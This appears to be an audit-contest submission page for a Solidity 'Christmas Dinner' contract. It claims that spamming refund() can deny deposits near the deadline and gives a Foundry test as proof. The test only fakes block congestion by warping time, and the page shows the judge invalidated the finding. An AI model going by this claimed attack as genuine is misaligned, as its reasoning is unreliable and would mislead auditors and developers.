Christmas Dinner
First Flight #31
Beginner FriendlyFoundrySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Invalid

Denial of Service via Unrestricted refund() Spamming

teoslaf

Summary

The Christmas Dinner contract's refund() function can be spammed to block legitimate deposits near the event deadline.

Vulnerability Details

An attacker can repeatedly call refund() to fill block space, preventing users from depositing before the deadline. This function lacks checks or costs, enabling unlimited abuse.

function test_RefundDoSForProfit() public {
// 1. Set deadline as host
vm.prank(deployer);
cd.setDeadline(7); // 7 days
​
// 2. Wait until close to deadline
vm.warp(block.timestamp + 6 days + 23 hours + 59 minutes); // Just 1 minute before deadline
​
// 3. Setup legitimate user with tokens
vm.startPrank(user1);
wbtc.mint(user1, 1 ether); // Mint tokens first
wbtc.approve(address(cd), 1 ether);
vm.stopPrank();
​
// 4. Front-run their deposit with many refund() calls
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
for (uint i = 0; i < 100; i++) {
cd.refund(); // Spam refund calls to fill the block
}
vm.stopPrank();
​
// 5. Simulate time passing due to block being filled
vm.warp(block.timestamp + 2 minutes); // Push past the deadline
​
// 6. User's deposit should fail due to deadline
vm.startPrank(user1);
vm.expectRevert(ChristmasDinner.BeyondDeadline.selector);
cd.deposit(address(wbtc), 0.1 ether);
vm.stopPrank();
}

Impact

Legitimate users miss the deadline, allowing the attacker to:

-Demand ransom to stop the attack.
-Extract high gas fees.
-Manipulate participation for profit.

Tools Used

Foundry for testing.

Recommendations

Restrict refund() access to eligible participants.
Add costs or rate limits to discourage spamming.
Prioritize critical functions like deposit() near the deadline.

Updates

Lead Judging Commences

0xtimefliez Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!